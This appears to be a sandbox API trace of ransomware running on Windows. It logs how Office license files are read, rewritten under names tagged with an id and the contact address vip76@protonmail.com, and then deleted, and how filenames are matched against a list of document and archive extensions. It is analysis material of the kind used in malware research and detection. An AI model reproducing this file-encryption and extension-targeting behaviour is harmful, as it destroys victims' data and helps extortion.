	[0197.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0197.742] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.742] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0197.743] GetLastError () returned 0x0
	[0197.743] ReadFile (in: hFile=0x460, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2d64, lpOverlapped=0x0) returned 1
	[0197.746] WriteFile (in: hFile=0x538, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0197.747] ReadFile (in: hFile=0x460, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.747] WriteFile (in: hFile=0x538, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x116, lpOverlapped=0x0) returned 1
	[0197.748] SetEndOfFile (hFile=0x538) returned 1
	[0197.748] CloseHandle (hObject=0x538) returned 1
	[0197.748] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.748] SetEndOfFile (hFile=0x460) returned 1
	[0197.859] CloseHandle (hObject=0x460) returned 1
	[0197.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms")) returned 1
	[0198.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0198.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0198.063] lstrlenW (lpString=".doc") returned 4
	[0198.063] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.063] lstrlenW (lpString=".docx") returned 5
	[0198.063] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.063] lstrlenW (lpString=".pdf") returned 4
	[0198.063] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.063] lstrlenW (lpString=".xls") returned 4
	[0198.063] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.063] lstrlenW (lpString=".xlsx") returned 5
	[0198.063] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.063] lstrlenW (lpString=".ppt") returned 4
	[0198.063] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0198.063] lstrlenW (lpString=".zip") returned 4
	[0198.063] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.063] lstrlenW (lpString=".rar") returned 4
	[0198.063] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.063] lstrlenW (lpString=".bz2") returned 4
	[0198.063] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.063] lstrlenW (lpString=".7z") returned 3
	[0198.063] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0198.063] lstrlenW (lpString=".dbf") returned 4
	[0198.063] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0198.064] lstrlenW (lpString=".1cd") returned 4
	[0198.064] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0198.064] lstrlenW (lpString=".jpg") returned 4
	[0198.064] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0198.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0198.064] lstrlenW (lpString=".doc") returned 4
	[0198.064] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.064] lstrlenW (lpString=".docx") returned 5
	[0198.064] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.064] lstrlenW (lpString=".pdf") returned 4
	[0198.064] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.064] lstrlenW (lpString=".xls") returned 4
	[0198.064] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.064] lstrlenW (lpString=".xlsx") returned 5
	[0198.064] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.064] lstrlenW (lpString=".ppt") returned 4
	[0198.064] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0198.064] lstrlenW (lpString=".zip") returned 4
	[0198.064] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.064] lstrlenW (lpString=".rar") returned 4
	[0198.064] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.064] lstrlenW (lpString=".bz2") returned 4
	[0198.064] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.064] lstrlenW (lpString=".7z") returned 3
	[0198.064] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0198.064] lstrlenW (lpString=".dbf") returned 4
	[0198.064] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0198.065] lstrlenW (lpString=".1cd") returned 4
	[0198.065] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0198.065] lstrlenW (lpString=".jpg") returned 4
	[0198.065] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.065] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.065] lstrlenW (lpString="MondoR_OEM_Perp-ppd.xrm-ms") returned 26
	[0198.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0198.066] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=26464) returned 1
	[0198.066] CloseHandle (hObject=0x5c0) returned 1
	[0198.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms")) returned 0x220
	[0198.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0198.067] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.067] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0198.068] GetLastError () returned 0x0
	[0198.068] ReadFile (in: hFile=0x5c0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x6760, lpOverlapped=0x0) returned 1
	[0198.077] WriteFile (in: hFile=0x510, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x6770, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x6770, lpOverlapped=0x0) returned 1
	[0198.078] ReadFile (in: hFile=0x5c0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.078] WriteFile (in: hFile=0x510, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x108, lpOverlapped=0x0) returned 1
	[0198.078] SetEndOfFile (hFile=0x510) returned 1
	[0198.078] CloseHandle (hObject=0x510) returned 1
	[0198.079] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.079] SetEndOfFile (hFile=0x5c0) returned 1
	[0198.081] CloseHandle (hObject=0x5c0) returned 1
	[0198.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.082] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms")) returned 1
	[0198.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0198.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0198.083] lstrlenW (lpString=".doc") returned 4
	[0198.083] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.083] lstrlenW (lpString=".docx") returned 5
	[0198.083] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.083] lstrlenW (lpString=".pdf") returned 4
	[0198.083] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.083] lstrlenW (lpString=".xls") returned 4
	[0198.083] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.083] lstrlenW (lpString=".xlsx") returned 5
	[0198.083] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.083] lstrlenW (lpString=".ppt") returned 4
	[0198.083] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0198.083] lstrlenW (lpString=".zip") returned 4
	[0198.083] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.083] lstrlenW (lpString=".rar") returned 4
	[0198.083] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.083] lstrlenW (lpString=".bz2") returned 4
	[0198.083] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.083] lstrlenW (lpString=".7z") returned 3
	[0198.083] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0198.083] lstrlenW (lpString=".dbf") returned 4
	[0198.083] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0198.084] lstrlenW (lpString=".1cd") returned 4
	[0198.084] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0198.084] lstrlenW (lpString=".jpg") returned 4
	[0198.084] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0198.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0198.084] lstrlenW (lpString=".doc") returned 4
	[0198.084] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.084] lstrlenW (lpString=".docx") returned 5
	[0198.084] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.084] lstrlenW (lpString=".pdf") returned 4
	[0198.084] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.084] lstrlenW (lpString=".xls") returned 4
	[0198.084] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.084] lstrlenW (lpString=".xlsx") returned 5
	[0198.084] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.084] lstrlenW (lpString=".ppt") returned 4
	[0198.084] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0198.084] lstrlenW (lpString=".zip") returned 4
	[0198.084] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.084] lstrlenW (lpString=".rar") returned 4
	[0198.084] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.084] lstrlenW (lpString=".bz2") returned 4
	[0198.084] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.084] lstrlenW (lpString=".7z") returned 3
	[0198.084] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0198.084] lstrlenW (lpString=".dbf") returned 4
	[0198.084] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0198.085] lstrlenW (lpString=".1cd") returned 4
	[0198.085] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0198.085] lstrlenW (lpString=".jpg") returned 4
	[0198.085] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.085] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.085] lstrlenW (lpString="MondoR_OEM_Perp-ul-oob.xrm-ms") returned 29
	[0198.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0198.086] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11582) returned 1
	[0198.086] CloseHandle (hObject=0x5c0) returned 1
	[0198.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0198.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0198.086] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.086] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0198.087] GetLastError () returned 0x0
	[0198.087] ReadFile (in: hFile=0x5c0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2d3e, lpOverlapped=0x0) returned 1
	[0198.102] WriteFile (in: hFile=0x510, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0198.103] ReadFile (in: hFile=0x5c0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.103] WriteFile (in: hFile=0x510, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x10e, lpOverlapped=0x0) returned 1
	[0198.103] SetEndOfFile (hFile=0x510) returned 1
	[0198.103] CloseHandle (hObject=0x510) returned 1
	[0198.104] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.104] SetEndOfFile (hFile=0x5c0) returned 1
	[0198.106] CloseHandle (hObject=0x5c0) returned 1
	[0198.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms")) returned 1
	[0198.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0198.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0198.109] lstrlenW (lpString=".doc") returned 4
	[0198.109] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.109] lstrlenW (lpString=".docx") returned 5
	[0198.109] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.109] lstrlenW (lpString=".pdf") returned 4
	[0198.109] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.109] lstrlenW (lpString=".xls") returned 4
	[0198.109] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.109] lstrlenW (lpString=".xlsx") returned 5
	[0198.109] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.109] lstrlenW (lpString=".ppt") returned 4
	[0198.109] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0198.109] lstrlenW (lpString=".zip") returned 4
	[0198.109] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.109] lstrlenW (lpString=".rar") returned 4
	[0198.109] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.109] lstrlenW (lpString=".bz2") returned 4
	[0198.109] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.109] lstrlenW (lpString=".7z") returned 3
	[0198.109] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0198.109] lstrlenW (lpString=".dbf") returned 4
	[0198.109] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0198.109] lstrlenW (lpString=".1cd") returned 4
	[0198.109] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0198.109] lstrlenW (lpString=".jpg") returned 4
	[0198.110] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0198.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0198.110] lstrlenW (lpString=".doc") returned 4
	[0198.110] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.110] lstrlenW (lpString=".docx") returned 5
	[0198.110] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.110] lstrlenW (lpString=".pdf") returned 4
	[0198.110] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.110] lstrlenW (lpString=".xls") returned 4
	[0198.110] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.110] lstrlenW (lpString=".xlsx") returned 5
	[0198.110] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.110] lstrlenW (lpString=".ppt") returned 4
	[0198.110] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0198.110] lstrlenW (lpString=".zip") returned 4
	[0198.110] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.110] lstrlenW (lpString=".rar") returned 4
	[0198.110] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.110] lstrlenW (lpString=".bz2") returned 4
	[0198.110] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.110] lstrlenW (lpString=".7z") returned 3
	[0198.110] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0198.110] lstrlenW (lpString=".dbf") returned 4
	[0198.110] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0198.110] lstrlenW (lpString=".1cd") returned 4
	[0198.110] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned 79
